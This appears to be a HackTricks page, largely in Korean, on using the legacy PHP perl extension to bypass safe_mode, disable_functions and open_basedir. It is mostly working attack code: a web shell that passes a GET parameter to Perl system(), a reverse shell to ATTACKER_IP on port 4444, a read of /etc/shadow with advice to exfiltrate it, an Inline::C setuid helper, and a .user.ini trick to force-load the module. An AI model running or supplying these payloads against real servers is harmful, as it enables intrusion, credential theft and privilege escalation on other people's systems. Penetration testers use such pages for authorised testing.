PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฐฐ๊ฒฝ

๋ฌธ์ œ๋Š” CVE-2007-4596๋กœ ์ถ”์ ๋˜๋ฉฐ, ๋ ˆ๊ฑฐ์‹œ perl PHP extension์—์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค. ์ด ํ™•์žฅ์€ ์™„์ „ํ•œ Perl ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋ฅผ ํฌํ•จํ•˜๋ฉฐ PHP์˜ safe_mode, disable_functions, open_basedir ์ œ์–ด๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค. extension=perl.so๋ฅผ ๋กœ๋“œํ•˜๋Š” PHP ์›Œ์ปค๋Š” Perl eval์— ๋Œ€ํ•œ ๋ฌด์ œํ•œ ์ ‘๊ทผ์„ ์–ป์–ด, ์ „ํ†ต์ ์ธ PHP ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ๋ชจ๋‘ ์ฐจ๋‹จ๋˜์–ด๋„ ๋ช…๋ น ์‹คํ–‰์ด ๋งค์šฐ ์‰ฝ์Šต๋‹ˆ๋‹ค. safe_mode๋Š” PHP 5.4์—์„œ ์‚ฌ๋ผ์กŒ์ง€๋งŒ, ๊ตฌ์‹ ๊ณต์œ  ํ˜ธ์ŠคํŒ… ์Šคํƒ๊ณผ ์ทจ์•ฝํ•œ ์‹ค์Šต ํ™˜๊ฒฝ์—๋Š” ์•„์ง ๋‚จ์•„ ์žˆ์œผ๋ฏ€๋กœ ๋ ˆ๊ฑฐ์‹œ ์ œ์–ดํŒ์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ ์ด ์šฐํšŒ๋Š” ์—ฌ์ „ํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

ํ˜ธํ™˜์„ฑ ๋ฐ ํŒจํ‚ค์ง• ์ƒํƒœ (2025)

  • ๋งˆ์ง€๋ง‰ PECL ๋ฆด๋ฆฌ์Šค (perl-1.0.1, 2013)์€ PHP โ‰ฅ5.0์„ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค; Zend APIs ๋ณ€๊ฒฝ์œผ๋กœ PHP 8+์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค.
  • PECL์€ PIE๋กœ ๋Œ€์ฒด๋˜๊ณ  ์žˆ์ง€๋งŒ, ์˜ค๋ž˜๋œ ์Šคํƒ์€ ์—ฌ์ „ํžˆ PECL/pear๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. PHP 5/7 ํ‘œ์ ์—๋Š” ์•„๋ž˜ ์ ˆ์ฐจ๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”; ์ตœ์‹  PHP์—์„œ๋Š” ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ์ฃผ์ž… ๊ฒฝ๋กœ(์˜ˆ: userland FFI)๋กœ ์ „ํ™˜ํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ…Œ์ŠคํŠธ ๊ฐ€๋Šฅํ•œ ํ™˜๊ฒฝ ๊ตฌ์ถ• (2025)

  • PECL์—์„œ perl-1.0.1์„ ๊ฐ€์ ธ์™€ ๊ณต๊ฒฉํ•˜๋ ค๋Š” PHP ๋ธŒ๋žœ์น˜์šฉ์œผ๋กœ ์ปดํŒŒ์ผํ•œ ๋’ค ์ „์—ญ(php.ini) ๋˜๋Š” dl()์„ ํ†ตํ•ด ๋กœ๋“œํ•˜์„ธ์š”(ํ—ˆ์šฉ๋˜๋Š” ๊ฒฝ์šฐ).
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • ๊ณต๊ฒฉ ์ค‘์—๋Š” var_dump(extension_loaded('perl')); ๋˜๋Š” print_r(get_loaded_extensions());๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์—†์œผ๋ฉด perl.so๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ฑฐ๋‚˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ php.ini/.user.ini ํ•ญ๋ชฉ์„ ์•…์šฉํ•ด ๊ฐ•์ œ ๋กœ๋“œํ•˜์„ธ์š”.
  • ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ PHP ์›Œ์ปค ๋‚ด๋ถ€์— ์กด์žฌํ•˜๋ฏ€๋กœ ์™ธ๋ถ€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ํ•„์š” ์—†์Šต๋‹ˆ๋‹คโ€”๋„คํŠธ์›Œํฌ ์ด๊ทธ๋ ˆ์Šค ํ•„ํ„ฐ๋‚˜ proc_open ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” ์˜ํ–ฅ์„ ์ฃผ์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

phpize์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ์˜ ์˜จํ˜ธ์ŠคํŠธ ๋นŒ๋“œ ์ฒด์ธ

๋งŒ์•ฝ phpize์™€ build-essential์ด ์†์ƒ๋œ ํ˜ธ์ŠคํŠธ์— ์กด์žฌํ•œ๋‹ค๋ฉด, OS์— ์…ธ์„ ์‹คํ–‰ํ•˜์ง€ ์•Š๊ณ ๋„ perl.so๋ฅผ ์ปดํŒŒ์ผํ•ด ๋ฐฐ์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

open_basedir๊ฐ€ ์ ์šฉ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์ƒ์„ฑํ•œ .user.ini์™€ .so๊ฐ€ ํ—ˆ์šฉ๋œ ๊ฒฝ๋กœ์— ์œ„์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”; extension= ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” basedir ๋‚ด๋ถ€์—์„œ๋„ ์—ฌ์ „ํžˆ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ ํ๋ฆ„์€ PECL ํ™•์žฅ ๋นŒ๋“œ๋ฅผ ์œ„ํ•œ PHP ๋งค๋‰ด์–ผ์„ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค.

Original PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, ์—ฌ์ „ํžˆ ํ™•์žฅ์ด eval์— ์‘๋‹ตํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

์ตœ์‹  Payload ๊ฐœ์„ 

1. Full TTY over TCP

์ž„๋ฒ ๋””๋“œ ์ธํ„ฐํ”„๋ฆฌํ„ฐ๋Š” /usr/bin/perl๊ฐ€ ์ฐจ๋‹จ๋˜์–ด ์žˆ์–ด๋„ IO::Socket์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. open_basedir๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์–ด๋„ ํŒŒ์ผ ์‹œ์Šคํ…œ ํƒˆ์ถœ

Perl์€ PHP์˜ open_basedir์„ ๋ฌด์‹œํ•˜๋ฏ€๋กœ ์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

์ถœ๋ ฅ์„ IO::Socket::INET ๋˜๋Š” Net::HTTP๋กœ ํŒŒ์ดํ”„ํ•˜์—ฌ PHP๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” ๋””์Šคํฌ๋ฆฝํ„ฐ๋ฅผ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๊ณ  ๋ฐ์ดํ„ฐ๋ฅผ exfiltrate ํ•˜์„ธ์š”.

3. ์ธ๋ผ์ธ ์ปดํŒŒ์ผ for Privilege Escalation

์‹œ์Šคํ…œ ์ „์—ญ์— Inline::C๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด, PHP์˜ ffi๋‚˜ pcntl์— ์˜์กดํ•˜์ง€ ์•Š๊ณ  ์š”์ฒญ ๋‚ด๋ถ€์—์„œ ํ—ฌํผ๋ฅผ ์ปดํŒŒ์ผํ•˜์„ธ์š”:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl์„ LOLBAS ํˆดํ‚ท์ฒ˜๋Ÿผ ๋‹ค๋ค„๋ผ โ€” ์˜ˆ: mysqli๊ฐ€ ์—†์–ด๋„ MySQL DSNs๋ฅผ ๋คํ”„ํ•˜๋ผ:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ